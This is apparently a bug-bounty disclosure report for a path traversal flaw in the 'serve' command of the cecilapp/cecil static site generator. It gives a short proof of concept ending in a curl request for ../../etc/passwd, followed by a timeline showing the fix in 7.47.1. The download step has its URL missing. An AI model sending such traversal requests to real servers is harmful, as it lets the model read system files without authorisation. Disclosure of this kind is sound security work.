Relative Path Traversal vulnerability in the serve command in cecilapp/cecil


Reported on

Sep 7th 2023


When a Cecil site is served by cecil serve, Relative Path Traversal is possible via the URI path.

Proof of Concept

Run the following commands:

mkdir cecil-path-traversal-poc
cd cecil-path-traversal-poc
curl -L -o cecil
chmod +x cecil
./cecil new:site -n
./cecil serve

Then curl --path-as-is http://localhost:8000/../../../../../../../../etc/passwd.


When a Cecil site is served by cecil serve, unauthenticated remote attackers can read any file on the host filesystem.

We are processing your report and will contact the cecilapp/cecil team within 24 hours. 14 days ago
We have contacted a member of the cecilapp/cecil team and are waiting to hear back 12 days ago
Arnaud Ligny validated this vulnerability 10 days ago
Yufan You has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Arnaud Ligny marked this as fixed in 7.47.1 with commit 00dc79 9 days ago
Arnaud Ligny has been awarded the fix bounty
This vulnerability has been assigned a CVE
Arnaud Ligny published this vulnerability 9 days ago
to join this conversation